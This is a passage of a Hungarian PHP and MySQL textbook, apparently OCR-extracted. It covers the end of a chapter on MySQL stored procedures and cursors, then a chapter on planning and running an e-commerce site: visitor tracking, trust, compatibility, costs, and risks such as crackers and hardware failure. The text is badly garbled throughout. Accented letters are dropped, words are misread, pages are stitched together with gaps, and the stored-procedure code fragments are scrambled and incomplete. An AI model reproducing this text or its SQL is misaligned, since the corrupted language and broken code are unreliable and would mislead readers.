rnylegesen lefuttaga a lekrdezst. Ahhoz, hogy egyenknt megkapjuk az egyes adatsorokat, FETCH utastst kell
Figyeljk meg, hogy a felttelt (until kesz) a ciklus vgig nem vizsgljuk! A trolt eljrsok a while ciklusokat is tmogagk,
ezek formja:
WHILE feltetel
DO
13
216
13. fejezet
END
WHILE;
END LOOP
aktualis_osszeg;
Ez a kd a kurzorlekrdezs egy sort keresi vissza. A lekrdezs ltal visszaadott kt tulajdonsgot a megadott kt helyi
vltozban trolja el.
Kt IF utastssal ellenrizhegk, hogy visszakaptunk-e sort, illetve az aktulis rtket sszehasonlthatjuk az eltrolt leg
nagyobb rtkkel:
IF NOT kesz THEN
IF aktualis asszeg
>
l asszeg THEN
13
END IF
[ELSE utasitas]
END CASE
Trjnk vissza pldnkhoz! A ciklus befejezdse utn egy kis rendraks vr rnk:
CLOSE cl;
SET legnagyobb_id=l id;
@l
+------+
+------+
Halad MySQL-programozs
217
Tovbbi olvasnival
A fejezeeben rviden megismerkedtnk a trole eljrsok mkdsve!. A tmrl bvebben is olvashacunk a MySQL kzi
knyvben. Ezt rdemes tanulmnyozni akkor is, ha a
LOAD
DATA
INFILE
Hogyan tovbb:
ttekintettk a PHP s a MySQL alapjait. Az E-kereskedelmi honlap zemeltetse cm 14. fejezetben az elektronikus kereske
delem s a biztonsg szemszgbl vizsgljuk meg, hogyan hozzunk ltre olyan weboldalakac, amelyek mgct adarbzis ll.
13
III
E kereskedelem s biztonsg
...
14
15
16
17
18
19
14
Ekereskedelmi honlap zemeltetse
A fejezetben azzal a krdskrrel foglalkozunk, hogyan lehet hatkonyan megtervezni, ltrehozni s mkdtetni egy e-keres
kedelmi honlapot. Megvizsgljuk a tervet, a lehetsges kockzatokat, illetve megnzzk, hogyan tarthatja el nmagt egy ilyen
weboldal.
Az albbi fbb tmakrkrl olvasharunk:
Az e-kereskedelmi oldalunk clja
Az zleti weboldalak tpusai
Kockzatok s veszlyforrsok megismerse
A megfelel stratgia kivlasztsa
Mi a clunk:
Mielrt tl sok idt fordtannk arra, hogy weboldalunk megvalstsnak rszletein tprengnk, hatrozort clokkal, illetve az
ezekhez a clokhoz elvezet, kellen rszleres tervvel kell rendelkeznnk.
Knyvnkben azzal a feltevssel lnk, hogy zleti weboldalt kvnunk kszteni. Egyik clunk gy minden bizonnyal
a pnzkeress.
Sokflekppen kzethetnk zleti cllal az internethez. Elkpzelhet, hogy offline szolgltatsainkat szeretnnk reklmoz
ni, vagy kzzelfoghat termkeket szetetnnk online rtkesteni. Lehet, hogy online rtkesthet s szolglrathat termkkel
rendelkeznk. Az is lehet, hogy honlapunk clja nem kzveclenl a bevtelteremts, hanem offline tevkenysgeket tmogat,
vagy a jelenlegi lehetsgek egy olcsbb alrernatvjt jelenti.
Az egyes weboldalak klnbz rszei a fenti kategrik kzl tbbnek is megfelelnek. Nzzk meg ezeknek a kategrik
nak a rszleres lerst, illetve azt, hogyan lehet ezeket gy alkalmazni, hogy abbl bevtele vagy ms elnye szrmazzk szerve
zetnknek!
A knyv ezen rsznek clja, hogy segitsen megfogalmazni cljainkat. Mirt van szksgnk weboldalra? A weboldalunkra
tervezert funkcik mivel jrulnak hozz vllalkozsunk sikerhez?
222
14.fezet
Egy ilyen honlap kifejlesztse mszaki szempontbl nem tl nagy kihvs.A marketing ms terleteirl ismert problmkkal kell itt is megkzdeni.Az ilyen oldalak esetben leginkbb az albbi hibkat szoktk elkvetni:
Mit keresnek a ltogatk, amikor megnyitjk egy cg honlapjt Attl fggen, hogy mr milyen informcikkal rendelkeznek,
lehet, hogy rszletes termkspecilikcikra van szksgk, de az is lehet, hogy olyan egyszer adatokra, mint pldul az elrhe
tsg.
Sok weboldal semmilyen hasznos informcit nem kzl, vagy ppen a lnyegi dolgokrl feledkezik meg.Egy honlapnak
legalbb azt tudatni kell a ltogatkkal, hogy mivel foglalkozik a cg, milyen fldrajzi terletet szolgl ki, s hogyan lehet felven
ni vele a kapcsolatot.
14
Az interneten senki nem tudja, hogy kutya vagy- szl a rgi monds.1 Ugyangy, ahogy a kisvllalatok (vagy a kucyk) na
gyobbnak s meggyzbbnek tnhetnek az interneten, a nagyvllalatok is tnhetnek kicsinek, amatrnek s rdektelennek, ha
gyenge a honlapjuk
Cgnk mrettl fggetlenl gyelni kell arra, hogy honlapunk magas sznvonal legyen.A szveget olyasvalaki rja s
ellenrizze le, aki magas szinten beszli az adott nyelvet! A kpek legyenek rendezettek s jl lthatk, s gyorsan tltdjenek
le! zleti cl oldalon alaposan meg kell fontolni a kpi elemek s sznek hasznlatt - gyelve arra, hogy illeszkedjenek a cg
ltal kpviselni kivnt imzshoz.Az animcival csnjn bnjunk, st jobb, ha egyltaln nem hasznlunk.Soha ne jtsszunk le
hangot anlkl, hogy a felhasznl ezt kifejezetten krnl
Br azt nem fogjuk tudni elrni, hogy az oldal minden gpen, minden opercis rendszeren s bngszben pontosan
ugyangy jelenjen meg, gyeljnk r, hogy szabvnyos HTML vagy XHTML kdot hasznljunk, hogy ltogatink dnt
tbbsge hiba nlkl lssa az oldalt megjelenni! Fontos, hogy tbbfle kpernyfelbontsban s minden elterjedt bngsz
opercis rendszer kombinciban teszteljk az oldal megjelenst.
A kivl gyflszolglat az interneten is legalbb olyan fontos szerepet jtszik az gyflszerzsben s -megtartsban, mint az
zleti vilg ms terletein.Kis- s nagyvllalatok egyarnt eikvetik azt a hibt, hogy feltntetnek honlapukon egy e-mail c
mer, majd elmulasztjk ellenrizni s idben megvlaszolni az erre a cmre rkez leveleket.
Az embereknek a vlaszid tekintetben eltr elvrsai vannak az e-maiilel s a postai levllel szemben. Ha az e-maileket
nem ellenrizzk napi rendszeressggel, s nem vlaszolunk rjuk, a feladk azt fogjk gondolni, hogy megkeress k nem fon
tos szmunkra.
A weboldalakon kzztett e-mail cmeknek ltalnosnak kell lennik, pozcihoz vagy cges rszleghez, nem pedig egy adott
szemlyhez kell ktdnik. Vajon mi trtnik a kovacs. j anos@minta. hu cmre kldtt e-maillel, ha Jnos mr nem dol
gozik a cgnl A sales@minta. hu cmre kldtt e-mailt minden bizonnyal megkapja az utdja is. Radsul egynl tbb
munkatrshoz is irnythat, gy biztosan idben vlasz szletik r.
A weboldalakra kirakott e-mail cmekre minden bizonnyal rengeteg kreden levelet, spamet fogunk kapni. Erre is gondol
junk, amikor elhatrozzuk azt, hogyan tovbbtsuk vagy kezeljk az ezekre a cmekre kldtt leveleket! A kzvetlen e-mail
cmek helyett rdemes lehet rlap alap kapcsolatfelvteli lehetsget adni az oldalon, mert ezzel cskkenthet a kreden leve
lek szma.
l Egy internettel kapcsolatos.rgi monds" termszetesen nem lehet tl rgi. Ez az idzet Peter Sreiner humoros rajzbl szrmazik, amely
The New Yorker 1993. jlius 5-ei szmban jelent meg.
erederileg a
223
Az oldal elavuLisa
Gondoskodni kell arrl, hogy honlapunk megrizze frissessgc s naprakszsgc. A tartalmat rendszeresen vltoztaeni kell.
A szervezeti vltozsokat ugyangy tkrznie kell a honlapnak. Egy ,.beporosodocc oldal" nem sztnz visszatrsre, s azt
a gyant kelti a lcogackban, hogy az informcik jelents rsze mr elavult, nem aktulis.
Az egyik mdszer arra, hogy honlapunk ne veszcse el akcualicsc, ha sajt kezleg frisstjk az oldalakat. Egy msik lehet
sg dinamikus oldalak ltrehozsa olyan programozsi nyelvvel, minc pldul a PHP. Az aktulis informcikhoz folyamarosan
hozzfr kd segtsgvel oldalaink naprakszek maradhatnak.
A ltogatottsg nyomon kvetsnek elmulasztsa
Honlapunk ltrehozsa szp s j, de honnan fogjuk tudni, hogy megrce-e a pnzt s az energit< Klnsen egy nagyvllalac
nak ksztett honlap esetn elbb vagy utbb neknk fogjk szegezni a krst, hogy szmszerscsk, mekkora teket kpvisel
az oldal a vllalat szmra.
Hagyomnyos markeringkampnyok esetben a nagy szeevezetek tbb tzezer dollrt kltenek piackutatsra rszben a kam
pny kezdete eltt, rszben a kampny utn, hogy mrni tudjk a hatkonysgt. Webes vllalkozsunk mrettl s anyagi
lehetsgeitl fggen az ilyen felmrsek a honlap tervezst s ltogatottsgnak rtkelst is megknnythetik.
Mindazonltal szmos egyszerbb vagy olcsbb lehetsg kzl vlaszthacunk:
A szervernaplk vizsglata A webes szerverek rengeteg adatot trolnak a hozzjuk rkez krsekrL Ezek nagy
rsze - marketingclra -hasznlhatatlan, s nyers llapoeukban pusztn mennyisgk miacc is nehezen rtkelhetk.
Hogy rtelmes sszegzse nyerjnk ki a naplfjlokbl, naplfjlelemz segdalkalmazsra van szksgnk. A kt legis
mertebb, ingyenes program az Analog (a http://www.analog.cx/ cmen rhet el) s a Webalizet (http://www.mrunix.
net/webalizer/). Az olyan zleti cl s fizets programok, mint a Summary (http://summary.net) vagy a WebTrends
Analyrics (http://www.webtrends.com/) reljesebb informcit adnak. A naplfjlelemz megmutatja, idben hogyan
vltozik honlapunk ltogatottsga, s mely oldalakat nzik meg a ltogatk.
Eladsok figyelemmel kvetse - Online katalgusunktl azt vrjuk, hogy eladsokat generljon. Az rtkestsre
gyakorolt hatst gy tudjuk megbecslni, ha sszehasonltjuk az oldal elindtsa eltti s utni rtkestsi szinteket.
A hatst nyilvnvalan nehezebb mrni, ha ugyanabban az idszakban ms marketingtevkenysg is okozhatja az inga
dozsokat.
Felhasznli visszajelzsek gyjtse-Amennyiben megkrjk felhasznlinkat, minden bizonnyal rmmel elmond
jk, mir gondolnak honlapunkrL Ha a visszajelzshez rlapot ksztnk szmukra, hasznos vlemnyeker gyjthetnk
be. A visszajelzsek mennyisgr gy nvelhetjk, ha valahogyan sztnzzk a ltogatkat, pldul nyeremnyr sorso
lunk ki a vlaszadk kzct.
Adatgyjts reprezentatv felhasznlk krben A fkuszcsoportos beszlgetsek hatkony mdszert knlnak hon
lapunk vagy a tervezett honlap prototpusnak rtkelsre. A fkuszcsoporros kuratshoz pusztn nhny nkntest
kell sszegyjtennk, majd arra kell krni ket, hogy rtkeljk honlapunkat. Vlaszaikat s vlemnyeiket feljegyezve
rckes adarokhoz juthatunk.
A fkuszcsoportos kutats drga mulatsg lehet, amennyiben szakrt modertor vezeti, aki a potencilis rsztvevket
rtkelve s szrve megprblja garantlni, hogy demogrfiai jellemzikben s szemlyisgkben poncosan reprezentljk az
alapsokasgot vagy a clkznsget, majd hozzrt mdon megincerjvolja ket. A fkuszcsoportos beszlgetsek ugyanakkor
szinte ingyen is elrhetk, amatr is moderlhatja azokat, s olyan rsztvevkkel is lefolyrarhatk, akiknek a clpiachoz val
viszonyuk nem ismert.
Ha megfizetjk szakrt piackutat cg szolglatait, az hozzrten vgrehajtott s hasznlhat eredmnyeket hoz fkusz
csoportos kutatst eredmnyez, m nem ez az egyetlen jrhat t. Ha sajt magunk folytatunk fkuszcsoporros beszlgetse
ket, vlasszunk egy gyes modertort! Kivlarr kell, hogy rtsen az emberek nyelvn, s nem szabad, hogy brmilyen mdon
elfogult vagy rintett legyen a kucats eredmnyt illeten. A csoport ltszmt 6-10 f kzte rdemes tartani. A beszlge
rsen elhangzottakat ajnlott rgzteni, hogy a modertornak csak arra kelljen figyelnie, hogyan irnytja a beszlgetst. Az gy
kapott eredmny pontosan annyira lesz relevns s hitelt rdeml, amennyire a csoportban rsztvev szemlyek mintja. Ha
termkeinket alkalmazottaink bartai vagy csaldtagjai rtkelik, akkor nem valszn, hogy az eredmny megfelelen mucacja
a nagykznsg vlemnyt.
-
14
224
14. fejezer
tbb idr hagyunk nekik, hogy tgondoljk a vsrlsi dnrsket, annl valsznbb, hogy ms zletekben is szrnznek,
vagy egyszeren meggondoljk magukat. Ha az gyfelek szerernk megszerezni rermknker, akkor sajt rdeknk, hogy
a lehet leggyorsabb s legegyszerbb tegyk a vsrlsi folyamatot. Ha arra knyszertjk ket, hogy fellljanak szm
tgpkrl, s trcszzanak egy telefonszmot, vagy keressk fel zletnket, akkor megakasztjuk a folyamatot. Ha online
hirdetsnk meggyzte a fogyasztkat, hogy vsroljanak, akkor engedni kell, hogy azonnal, honlapunk bezrsa eltt meg
tehessk azt.
Az online rendelsfelvtel rengeteg cg szmra elnyt jelenthet. Minden vllalkozs megrendelseket szereme kapni. Az
online rendelsfelvtel lehetsge nvelheti rtkestseinket vagy cskkentheti rtkestink leterheltsgt. Az online rende
lsfelvtelhez szksges krnyezet termszetesen kltsgekkel jr: dinamikus honlap kifejlesztse, a fizetsi mdok megszer
vezse s az gyflszolglat mind pnzbe kerl.
Az online rtkests egyik legvonzbb jellemvonsa, hogy ezen kltsgek nagy rsze pontosan ugyanannyi lesz ezer s
egymilli rendels esern is. Az elfogadhat kltsgszimhez ppen ezrt megfelel mennyisgben rtkesthet termkre vagy
szaigitatsra van szksg. Mieltr nagyon belelnnk magunkar az elektronikus kereskedelem gondolatba, prbljuk vgig
gondolni, hogy termkeink alkalmasak-e online rtkestsre!
Interneten keresztl leginkbb olyan termkeker s szolglratsokat vsrolunk, mint a knyvek s a magazinok, a szm
tgpes szoftverek s hardverek, zene, ruhk, utazs s belpjegyek (sznhz, mozi, koncert stb.). Csak azrt, mert term
knk nem tartozik ezen kategrik kz, nem kell elkeserednnk. Ezek a piacok mr gyis telitve vannak jl (s kevsb jl)
ismert mrkkkal. Mindazonltal rdemes lehet vgiggondolni, mirt pont ezek a legkelendbb portkk az interneten.
Az idelis e-kereskedelmi termk nem romland s egyszeren szlthat, elg drga ahhoz, hogy elfogadhatv tegye
a szlltsi klrsgeket, de annyira mgsem drga, hogy a vsrl knyszert rezzen arra, hogy vsrls eltt fizikailag is
megvizsglja. A legjobb e-kereskedelmi termkek az rucikkek. Ha valaki avokdt szereme venni, minden bizonnyal sze
reen kivlasztani (megfogni, megszagolni) az adott darabot. Nem minden avokd egyforma. Egy knyv, CD vagy szaftver
ltalban tkletesen megegyezik a tbbi pldnnyal - feltve persze, hogy ugyanaz a cmk. A vsrlk nem ignylik, hogy
kezkbe vegyk a beszerezni kivnt darabot.
Az e-kereskedelmi termkeknek emellett az internet-felhasznlk rdekldsi krbe kell tartozniuk. A knyv rsa idejn
a clkznsget a munkabrrel rendelkez, fiaralabb felnttek alkotjk, akik tlag feletti jvedelemmel brnak, s vrosban
14
lnek. Idvel azonban szmthatunk r, hogy az online kznsg egyre inkbb megegyezik majd a teljes lakossggal.
Egyes termkek soha nem fognak megjelenni az e-kereskedelemmel foglalkoz kutatsokban, mgis sikeresen rtkesthe
rk online. Ha termknk csak egy szk piaci rteg szmra vonz, az internet idelis mdszer lehet a vsrlk elrsre. Ha
lakhelynkn csak tz ember gyjt 1980-as vekbeli jrkrobotokat, egy ezeket forgalmaz honlap akr sikeres is lehet, ha
minden ms vrosban is legalbb ugyanennyien gyjtik ket.
Vannak olyan termkek, amelyek online rtkestse nagy valsznsggel nem fog szmunkra sikert hozni. Az olcs,
romland rucikkek, pldul a zldsg s a gymlcs nem tnik tl j vlasztsnak, br ez nem riasztja el az embereket, hogy
prblkozzanak - tbbnyire, persze, sikertelenl. Egyes termkkategrik tkletesen megfelelek arra, hogy brochureware
honlapot ksztsnk hozzjuk, de online rendelsre nem lesznek alkalmasak. Nagy, drga rucikkek tartoznak ide - pldul
az autk s az ingatlanok -, amelyek rengeteg utnajrst ignyelnek a vsrls eltt, tl drgk ahhoz, hogy szemrevtelezs
nlkl megrendeljk, s leszlltani sem tl egyszer ket.
Szmtalan akadlyt kell lekzdennk a potencilis vsrlk meggyzshez. Ilyenek lehetnek:
Megvlaszolatlan krdsek
Bizalomhiny
Nem egyszer hasznlharsg
Kompatibilitshiny
Ha a felhasznlkat ezek brmelyike visszatartja, nagy valsznsggel vsrls nlkl fognak tvozni honlapunkrL
Megvlaszolatlan krdsek
Ha egy potencilis vsrl nem kap azonnal vlaszt valamely krdsre, minden bizonnyal otthagyja az oldalt. Ennek a megl
laprsnak szmos kvetkezmnye van. Figyeljnk arra, hogy oldalunk jl rendezett, jl felptett legyen! Az els alkalommal
ott jr ltogat knnyen megrallja, amit keres! Arra is gyelnnk kell, hogy teljes kr informcit adjunk, ugyanakkor ne
terheljk le tlzottan a ltogatkat.
Az interneten az emberek hajlamosak gyorsan tfutni a tartalmat, jellemzen nem szaktk alaposan vgigolvasni, ezrt t
rekedjnk a tmrsgrel A hirdetsi felletek tbbsgnl gyakorlati korltai vannak, hogy mennyi informcit kzlhetnk.
A honlapokra ez nem rvnyes. Itt a kt f korlt kzl az egyik az informci ltrehozsnak s frisstsnek a kltsge, a m
sik pedig az, hogy mennyire tudjuk az informcitengert gy rendezni, tagolni s sszekapcsolni, hogy a ltogatk be tudjk
225
fogadni.
Nagy a ksrts, hogy honlapunkra olyan, soha nem alv, automatikus rtkestknt gondoljunk, aknek radsul mg fizet
ni sem kell, ugyanakkor rendkvl fontos az gyflszolglat. sztnzni kell a ltogatkat, hogy krdezzeneki Prbljunk meg
nekik azonnali vagy szinte azonnali vlaszt adni telefonon, e-mailben, chaten vagy ms knyelmes mdon!
Bizalomhiny
Ha a ltogat szmra ismeretlen a mrkanevnk, mirt bzna bennnkr Brki ssze tud lltani egy honlapot. Egy
brochureware oldal tolvasshoz nem szksges bizalom, de a megrendels mr teljesen ms trtnet. Honnan tudja a ltogat,
hogy megbzhat a vllalkozs, s nem a fentebb emltett kurya ll az oldal mgttr
Online vsrlskor szmos krds foglalkoztatja az embereket:
Mi fog trtnni a szemlyes adataikkal rtkestjk valaknek, arra hasznljuk, hogy egy csom reklmot kldjnk
nekik, vagy nem biztonsgos mdon troljuk, s gy msok is hozzfrhernekr Fontos kzlni a ltogatkkal, hogy mit
resznk s mit nem tesznk az adataikkal. Ezt az informcit adatvdelmi nyilatkozatnak (privacy policy) szoks nevez
ni, s honlapunk knnyen megrallhat rszre kell kirakni.
Mi trtnik, ha a vsrl nem elgedett a termkkel? Milyen felttelekkel szmthar pnzvisszatrtsre? Ki fizeti
a szllrsi djarr Internetes kereskedelem esetn a trvny a hagyomnyos vsrls esern rvnyesnl szlesebb kr
elllsi jogot ad a vsrlknak. Sok online kereskeds felttel nlkl visszaveszi a rermker, ha a vev brmilyen oknl
fogva elgedetlen azzal. (Magyarorszgon a jelenlegi szablyozs szerint a vev 8 napon bell lhet elllsi jogval,
amennyiben sajt kltsgn, bontatlanul vagy megbontott csomagolsban, de hinytalanul visszakldi a termket az
eladnak.) Gondoljuk vgig, hogy milyen arnyban llhat egymssal a pnzvisszatrts kltsge s a liberlis visszatr
tsi szablyzat ltal okozott forgalomnvekedsi Brhogyan dntnk is ebben a krdsben, gyeljnk, hogy a felrteieket
pontosan megjelenrsk oldalunkon!
Rnk bzhatjk az
jk-e bankkrtyjuk adatait az interneten keresztl. ppen ezrt olyan vllalkozs ltszatr kell kelrennk, amely gyel
a biztonsgra, s rnylegesen biztonsgosan kell kezelni gyfeleink bankkrtyir. Ez rninimum azt jelenti, hogy Secure
Sockers Layer (SSL) protokollon keresztl kell az adatokar a felhasznl bngszjbl webes kiszolglnkra tovbb
tani, illetve gondoskodnunk kell kiszolglnk hozzrt s biztonsgos felgyeletrL A ksbbiekben rszleresebben
foglalkozunk ezzel a tmval.
rizzk meg honlapunk egyszersgti Minl tbb lehetsget, hirdetst s a figyelem elterelsre alkalmas elemet
helyeznk a kpernyre, annl valsznbb, hogy sszezavarjuk a felhasznlt.
Olvashat szvegfajtt vlasszunk! Tiszta, egyszer bettpusokar hasznljunk! Ne lltsuk tl kicsire a szveget, s ne
feledjk, hogy a klnbz tpus szmtgpeken eltr mretben jelenhet meg!
Tegyk a rendelsi folyamatot a lehet legegyszerbbl A jzan sz csakgy, rnint a rendelkezsre ll rapasztalatok
azt sgjk, hogy rninl tbbet kell a vsrlknak a megrendelshez az egrrel kattintani, annl kevsb valszn, hogy
vgigcsinljk a folyamatot. Cskkenrsk a lpsek szmr a minimlisan szksgesre, de ne feledjk, hogy az Amazon.
com Amerikban szabadalommal2levdette az egy kattintssal trtn rendels folyamatt! (Az Amazon 1-Clicknek
hvja a mdszert.) A szabadalmar sok honlap zemelterje lesen tmadja.
Ne engedjk, hogy a felhasznlk elvesztsk a fonalat! Adjunk nekik irnymurarst, s navigcis irnypontokkal
jelezzk szmukra, hol jrnak! Emeljk k azt a menpontot, amelyikben ppen tartzkodnak, gy segitve a tjkozd
sukat!
2 U.S. Pacem and Trademark Office (Amerikai Szabadalomgyi s Mrkavdelmi Hivatal), 5960411 szm szabadalom: Kommunikcis
hlzacon keresztli rendelsleads mdszere s rendszere.
14
226
14. fejezet
Ha a vsrlshoz kosr funkcit knlunk a ltogatknak, amelyben a fizets eltt virtulisan trolhatjk a kvlasztott ru
cikkeket, figyeljnk r, hogy a kpernyn mindig lthat legyen egy, a bevsrlkosrra mutat hivatkozs!
Kompatibilitshiny
Ne felejtsk el oldalunkat klnbz bngszkben s opercis rendszerek alatt tesztelnil Ha valamely npszer bng
szben vagy opercis rendszer alatt nem mkdik rendesen, akkor amatrnek fogunk tnni, s elvesztjk a potencilis piac
jelents rszt.
Ha oldalunk mr mkdik, a webszerver naplbejegyzseibl megllapthatjuk, milyen bngszket hasznlnak a ltoga
tink. klszablyknt elmondhat, hogy ha oldalunkat az albbi bngszkben, opercis rendszerek alatt s eszkzkn
ellenrizve semmilyen hibval nem tallkozunk, akkor a Felhasznlk nagy tbbsge szmra megfelelen jelenik meg olda
lunk: Firefax (minden opercis rendszer alatt), az Internet Explorer (Windows) s aSafari (Macintosh) legfrissebb verzija,
kzi szmtgp s egy olyan, csak szveget megjelent bngsz, mint pldul a Lynx. Ne felejtsk el oldalunkat klnbz
kpernyfelbontsokban megjelenteni! Egyes Felhasznlk a nagyon nagy felbontsokat kedvelik, msok telefont vagy P DA-t
hasznlnak. Nehz elrni, hogy ugyanaz az oldal megfelelen nzzen ki a 2048 kppont szlessg kpernyn s a 240 pixel
szlesen is.
Kerljk a vadonatj funkcik s eszkzk hasznlatr, kivve, ha vllalj uk, hogy az oldalt tbb vltozatban rjuk meg s
tartjuk fenn! A szabvnyokkal kompatibilis HTML vagy XHTML mindenhol mkdni fog, de a rgebbi funkcikat nagyobb
valsznsggel fogja megfelel mdon tmogaeni az sszes bngsz s eszkz.
14
az informci. Az informci gyakran teljesen ingyenes vagy hirdetsekbl finanszrozott. Egyes informcikhoz elfizets
vagy tranzakcinknti fizets alapjn lehet hozzfrni.
A digitlis rucikkek kz tartoznak egyebek kztt az e-knyvek s az elektronikus formtumban (pldul MP3-ban) lv
zene. A kpgynksgek ltal forgalmazott kpek is digitalizlhatk s letlthetk. A szmtgpes szaftvereknek sem kell
szksgszeren CD-n vagy DVD-n lennik, kzvetlenl is letlthetk. Az gy rtkestett szolgltatsok kz tartozik pldul
az internet-hozzfrs vagy a webtrhely is.
Az oldalunkon megrendelt termkek fizikai kiszllitsa esetn bizonyos elnykkel s htrnyokkal kell szmolnunk. A fi
zikai formban ltez termk kiszllitsa pnzbe kerl. A digitlis letltsek szinte teljesen ingyenesek. Ez azt jelenti, hogy ha
msolhat s digitlisarr rtkesthet termket vagy szolgltatst knlunk, annak rtkestsi kltsge l s 1000 darab esetn
is ugyanaz lesz. Termszetesen ez csak bizonyos korltok kztt igaz; megfelel szint rtkests s forgalom esetn tbbet
kell pldul hardverre s svszlessgre fordtani.
A digitlis termkek s szolgltatsok knnyen rtkesthetk impulzv vsrlsknt. Ha valal fizikai formban ltez ru
cikket rendel, a szllts legalbb egy napig tart. A letltseket ezzel szemben msodpercben, legfeljebb percben mrjk. Ez azt
jelenti, hogy a kereskedk az azonnali teljests terhvel knytelenek szembeslni. Ha digitlisarr teljestjk a vsrlst, azonnal
kell megtennnk azt. Nem tehetjk meg, hogy manulisan dolgozzuk fel a rendelseket, vagy napon bell szttertjk a cscs
idszak terhelst. Az azonnali teljests rendszereknl ezrt inkbb fennll a csals veszlye, s nagyobb terhelst jelentenek
a szmtgpes erforrsoknak.
A digitlis termkek s szolgltatsok kivlarr alkalmasak az e-kereskedelemre, de nyilvnvalan korltozott az gy rtke
sthet termkek s szolgltatsok kre.
227
srlk szmra olyan frumot mkdtetni, ahol megtrgyalhatjk a cg termkeivel kapcsolatos hibaelhrrsi tippeket. A ms
vsrlk ltal javasolt megoldsokkal orvosolhatk az gyfelek problmi, a klfldi vsrlk telefonkltsg nlkl kaphacnak
tmogatst, s a hivatali rkon kivli idben is vlaszt adhatnak egyms krdseire a frumozk. A tmogats ilyen formja
igen alacsony kltsg mellett nvelheti a fogyasztk elgedettsgt.
Kltsgcskkents
Az internet hasznlatnak gyakori oka a kltsgek cskkentse. Megtakarts szrmazhat az informci online megosztsbl,
ko mmunikci elmozdtsbl, a szolgltatsok lecserlsbl, illetve a mkds kzpontostsbL
Ha jelen pillanatban igen sok embernek adunk tjkoztatst, minden bizonnyal gazdasgosabb mdon is megtehernnk
ezt egy weboldalon kereszrL Akr rlisckat, termkkatalgusokat, dokumentlt eljrsokat, specifikcikat vagy brmilyen
ms informcit adunk t az rdekldknek, biztosan olcsbban jnnnk ki, ha ugyanezt az interneten tennnk elrhetv,
mint a nyomtatott pldnyok ellltsval s kikldsveL Klnsen igaz ez a rendszeresen vltoz informcikra. Az
internet a kommunikci biztostsval pnzt takarthat meg szmunkra. Ez akr azt jelenti, hogy az ajnlatkrseket gyorsan
szckldhetjk, s rvid idn bell vlaszt kaphatunk, akr azt, hogy az gyfelek az gynkket vagy kzvettket kikerlve
kzvetlenl a nagykereskedvel vagy a gyrtval lphetnek kapcsolatba- az eredmny ugyanaz lesz. Az rak cskkennek,
a
nyeresg pedig n.
A pnzbe kerl szolgltatsok elektronikus vltozatra cserlse kltsgcskkentse eredmnyezhet. Btor pldja ennek az
Egghead.com esete. A cg gy dnttt, hogy bezrja informatikai bolchlzatt, s az e-kereskedelemre sszpontosija figyel
mc. Br egy komoly e-kereskedelmi oldal ltrehozsa nyilvnvalan pnzbe kerl, egy 80 kiskereskedelmi zletbl ll lnc
sokkal nagyobb folyamatos kltsggel jr. m a meglv szolgltatsok cserje kockzatot is hordoz magban. Az a rninimum,
hogy az internetet nem hasznl gyfeleket elvesztjk. Az Egghead.com j vllalkozsa nem jtt be. A cg az 1998-as doc-com
lufi idejn zrta be zleteit, majd a lufi kipukkadsakor, 2001-ben csdvdelmet krt.
A kzpontosts is kltsgcskkense eredmnyezhet. Ha tbb telephellyel rendelkeznk, tbb helyen kell brleti djat s
rezsit fizetni, alkalmazottakat foglalkoztatni, s mindenhol raktrkszletet kell fenntartani. Egy internetes vllalkozs elg, ha
egyetlen kzponti telephellyel br, a vilg brmelyik pontjrl elrhet lesz.
Crackerek
Az e-kereskedelmet rint, leggyakrabban ernlegetett fenyegets a cracker nven ismert, rosszindulat szmtgp-felhaszn
lktl rkezik. Minden cg ki van tve annak a veszlynek, hogy bnzk clpontjv vlik, de az e-kereskedelmi vllalkozsok
folyamatosan vonzzk a klnbz szndk s kpessg crackereket.
A crackerek tmadsainak oka lehet a kihvs, a hrnv irnti vgy, az oldal tnkrettele, pnz eltulajdontsa vagy a term
kek, szolgltatsok ingyenes megszerzse.
Az oldal biztonsgoss ttelhez az albbiak kombincija szksges:
Biztonsgi mentsek ksztse a fontos informcikrl
Olyan szemlyzeti politika, amely vonzza a becsletes munkavllalkat, s fenntartja lojalitsukat, mert a legveszlye
sebb tmadsok mindig bellrl jnnek
Szoftverekkel kapcsolatos vintzkedsek, pldul biztonsgos szoftverek hasznlata s folyamatos frisstse
Az alkalmazottak felksztse a tmadsok clpontjainak s a gyengesgek azonostsra
14
228
14. fejezet
Szmtgpes hardverhibk
Ha vllalkozsunk a weboldalunktl fgg, nyilvnval, hogy brmely szmtgpnk ktitikus alkatrszeinek hibja komoly
kvetkezmnnyel jr. Forgalmas vagy zletktitikus weboldalak esetn ltjogosultsga van redundns rendszerek hasznlatnak,
hogy brmelyiknek a hibja ne lehessen hatssal a teljes rendszer mkdsre. Mint minden veszlyforrs esetn, itt is azt kell
mrlegelni, hogy a weboldal egynapos - a cserealkatrszre vagy a javtsra vrs ideje alatti - lellsnak eslye indokolja-e
a redundns berendezs kltsgt.
Viszonylag egyszeren belltharunk tbb, Apache-t, PHP-t s MySQL-t futtat gpet, amelyek MySQL replikcival egy
szeren szinkronban tarthatk, m jelentsen megnvelik hardver-, hlzatnfrastruktra- s trhelykltsgeinket.
14
Elektromos, kommunikcis vagy hlzati hibk
Ha az internetre alapozzuk vllalkozsunkat, akkor szolgltatk sszetett hlzatra vagyunk knytelenek tmaszkodni. Ha
a weboldalunkat a vilg tbbi rszvel sszekt kapcsolat lell, semmi mst nem tehetnk, mint lhe tett kzzel vrjuk, hogy
szolgltatnk helyrelltsa a szolgltatst. Ugyanez igaz az elektromos hlzat lellsaira is.
A kltsgvetsnk biztostotta kereteken bell dnthetnk gy, hogy tbb szolgltatst vesznk ignybe klnbz szolgl
tatktl. Ez tbbletkltsggel jr, de azt jelenti, hogy ha valamelyik szolgltat kiesik, mg mindig ott a msik. A rvid ramki
maradsok okozta problmkat sznetmentes tpegysgbe beruhzva kerlhetjk el.
Ers verseny
Ha valamelyik utcasarkon nyitunk kiskereskedelmi boltot, viszonylag pontosan felmrhetjk a versenyhelyzetet. Versenytr
saink elsdlegesen a krnyez terleten ugyanazt a termksklt rtkest vllalkozsok. j versenytrsak viszonylag ritkn
jelennek meg. E-kereskedelem esetben kevsb mehetnk biztosra.
A szlltsi kltsgek fggvnyben versenytrsaink a vilg brmely pontjn elhelyezkedhetnek, s ki vagyunk tve az rfo
lyam-ingadozsoknak, illetve a munkaerkltsgek vltozsnak. Az internet ersen versenyz s gyorsan vltoz krnyezet.
Ha npszer termkkategriban utazunk, nap mint nap j versenytrsakat kaphatunk. A verseny kockzata ellen nem sokat
tehetnk, de ha nem llunk meg a fejlesztsekkel, megprblhatjuk megrizni versenykpessgnket.
Szoftverhibk
